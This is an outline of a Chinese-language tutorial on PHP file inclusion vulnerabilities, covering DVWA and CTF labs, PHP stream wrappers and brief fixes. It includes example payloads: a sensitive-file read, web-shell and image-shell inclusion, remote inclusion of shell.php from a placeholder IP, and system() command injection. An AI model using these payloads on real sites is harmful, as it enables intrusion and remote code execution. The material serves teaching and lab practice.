文件包含漏洞
文件包含漏洞概念
php相关函数和伪协议
DVWA靶场案例演示
CTF题目案例
文件包含漏洞挖掘与利用
文件包含漏洞修复方案
文件包含漏洞概念
为什么要包含文件
包含内容 包含页头、页脚 包含函数 公共函数 减少重复代码、便于维护
问题
可能会导致允许访问敏感文件或者执行恶意代 码,造成漏洞
分类
1.本地文件包含 Local file Inclusion
(1).固定包含
fileinc/footer.php
fileinc/main.php
(2). 通过接口动态包含
http://localhost/fileinc/include.php?file= footer.php
(3).包含敏感文件
http://localhost/fileinc/include.php?file=C:\ Windows\system.ini
(4)包含恶意代码或图片马
http://localhost/fileinc/include.php?file=shell.php
http://localhost:7298/uploadlabs/include.php?file=upload/shell.gif
2.远程文件包含 Remote file inclusion
(1)配置 allow_url_fopen 和allow_url_include
(2)访问
http://localhost/fileinc/include.php?file=http://远程IP/1.txt
http://localhost/fileinc/include.php?file= http://远程IP/alert.html
http://localhost/fileinc/include.php?file= http://远程IP/shell.php
(3)CVE实际案例
http://cve.mitre.org/cgi-bin/cvekey.cgi? keyword=file+inclusion
php相关函数和伪协议
函数
伪协议
DVWA靶场案例演示
CTF题目案例
1.文件包含漏洞类型
若为POST传参则利用hackbar工具
参数ctfhub=system('ls');
参数 ctfhub=system('find / -name flag*'); find命令,查询根目录下含有flag名的文件
参数 ctfhub=system('cat /flag');
2.php://input伪协议类型---->实质就是把参数写为php代码,然后会执行
?file=php://input
参数
参数
补充php://协议
条件:不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams)
在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了
其他可参考这篇博客文章
https://www.cnblogs.com/zzjdbk/p/13030717.html
文件包含漏洞挖掘与利用
文件包含漏洞修复方案
1、PHP配置
2、禁用动态包含
3、过滤协议、目录字符
4、设置文件白名单